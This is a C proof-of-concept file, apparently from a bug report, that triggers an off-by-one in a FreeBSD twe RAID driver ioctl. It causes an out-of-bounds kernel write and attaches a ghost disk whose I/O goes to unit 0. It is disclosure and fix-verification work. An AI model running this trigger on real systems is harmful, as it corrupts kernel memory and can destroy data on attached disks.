DF-4179 / twe_addunit16.c
/* * DF-4179 PoC - twe_add_unit off-by-one accepts unit == TWE_MAX_UNITS (16). * * Kernel path: * ioctl(/dev/tweN, TWEIO_ADD_UNIT, &unit) with unit = 16 * -> twe_ioctl (twe.c:674) * -> twe_add_unit (twe.c:202) * bound check at twe.c:212 is unit > TWE_MAX_UNITS (should be >=) * => unit 16 passes * => dr = &sc->twe_drive[16] (twe.c:226) - one struct past the * 16-element array (twevar.h:136); twe_drive[16] overlaps * sc->twe_aen_queue[] (twevar.h:139). * If the (bogus) unit-summary byte read at drives->data[16] (twe.c:228) * reports "online", the function writes controller-derived geometry * into the out-of-bounds struct (twe.c:236-272: td_size, td_state, * td_type, td_heads/sectors/cylinders, td_twe_unit) and attaches a ghost * twed disk via twe_attach_drive (writes dr->td_disk, twe_freebsd.c:570). * * Expected on affected hardware (bug present): ioctl returns 0 and a ghost * twedN unit appears (dmesg: "Unit 16, ..."); subsequent TWEIO_DEL_UNIT(16) * is rejected by the correct `>=` check in twe_del_unit (twe.c:291), and * the ghost disk's td_twe_unit (16) is truncated into the 4-bit * cmd->io.unit field on every I/O (twe.c:448) -> I/O directed at unit 0. * * Expected with fix: ioctl returns EINVAL for unit 16. * * Build: cc -O -o twe_addunit16 twe_addunit16.c * Run: ./twe_addunit16 /dev/twe0 [unit] (default unit 16) * * Requires the /dev/tweN control node (root:operator 0600). */ #include <sys/ioctl.h> #include <sys/ioccom.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <unistd.h> #define TWEIO_ADD_UNIT _IOW ('U', 107, int) #define TWE_MAX_UNITS 16 int main(int argc, char **argv) { char *dev = argv[1] ? argv[1] : "/dev/twe0"; int unit = argc > 2 ? atoi(argv[2]) : TWE_MAX_UNITS; int fd, rc; fd = open(dev, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s: %s\n", dev, strerror(errno)); exit(1); } printf("TWEIO_ADD_UNIT(unit=%d) [TWE_MAX_UNITS=%d] ...\n", unit, TWE_MAX_UNITS); rc = ioctl(fd, TWEIO_ADD_UNIT, &unit); if (rc < 0) printf("=> rejected: %s %s\n", strerror(errno), errno == EINVAL ? "(expected with fix)" : ""); else printf("=> ACCEPTED: off-by-one confirmed (ghost unit %d " "attached; OOB write into sc->twe_drive[16])\n", unit); close(fd); return (rc < 0); } |